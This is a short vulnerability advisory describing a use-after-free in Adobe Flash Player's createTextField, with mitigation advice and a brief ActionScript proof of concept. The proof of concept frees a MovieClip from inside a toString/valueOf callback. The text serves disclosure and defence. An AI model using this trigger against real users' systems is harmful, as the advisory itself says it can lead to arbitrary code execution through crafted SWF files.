Use-after-free in CreateTextField

A use-after-free vulnerability exists in Adobe Flash Player due to a flaw when CreateTextField is called on a MovieClip heirarcy. If a call is made into a function that deletes the MovieClip, a use-after-free occurs. This can be exploited to execute arbitrary code by tricking a user into opening a specially crafted SWF file.

Mitigation:

Upgrade to the latest version of Adobe Flash Player.

There is a use-after-free in CreateTextField. If a flash file contains a MovieClip heirarcy, such as:

_root-->l1-->l2-->l3

If createTextField is called on l2 to create l3, and the call makes a call into a function the deletes l2 or l1, a use-after-free occurs. A POC is as follows:

var l1 = this.createEmptyMovieClip("l1", 1);
var l2 = l1.createEmptyMovieClip("l2", 1);
ns = {toString: strfunc, valueOf: strfunc};
var l3 = l2.createTextField(ns, 1, 0, 0, 10, 10);

function strfunc(){
	
	l2.removeMovieClip();
	return "myname";
	
	}

A sample SWF and fla are attached.
